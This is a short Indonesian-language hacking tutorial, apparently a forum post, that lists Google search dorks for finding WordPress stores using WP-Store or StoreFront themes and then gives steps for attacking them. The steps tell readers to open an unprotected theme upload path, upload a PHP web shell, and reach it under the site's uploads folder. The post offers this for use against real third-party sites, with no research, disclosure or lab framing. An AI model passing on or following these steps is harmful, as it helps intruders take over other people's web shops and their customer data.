Dork WP-Store

Cuma mau share dork WP-Store. dan sedikit caranya.


1. Cari target dengan dork dibawah ini
Dork :
inurl:wp-content/themes/StoreFront/
inurl:/wp-content/themes/WPstore/
intext:"You have 0($0) item in your Shopping Bag"
intext:"You have 0($0) item in your Shopping Bag" inurl:/
page=login
intext:"You have 0($0) item in your Shopping Bag" inurl:/
page=cart
inurl:ptype=store tambahan &paged=
intext:Shopping Cart You have 0 item in your Shopping Bag
Checkout »
inurl:store inurl:=store intext:"You have 0 item in your Shopping
Bag" & intext:"Categories"
intext:You have 0 item in your Shopping Bag & intext:Categories
intext:SHOPPING CART IS EMPTY You have no items in your
shopping cart. Click here to continue shopping.
inurl:page=login intext:Shopping Cart You have 0 item in your
Shopping Bag Checkout »
intext:"Sorry! your cart is empty. Select product(s) to continue."
intext:"Sorry, the Cart is empty. Select Products via Continue
Shopping."
intext:"My Shopping Cart (0)"
intext:"Cart is empty. Select Products"
intext:"You have 0($0) item in your Shopping Bag."
intext:Register & Checkout Click below to register and check out.
inurl:/page=login

2. Exploit :  www.sitetarget.com/wp-content/themes/ThemesName/upload/

3. upload shellnya

4. Kalo berhasil shellnya terletak di
www.sitetarget.com/wp-content/uploads/products_img/YourShellName.php

Sekian tutorial garing dari gue.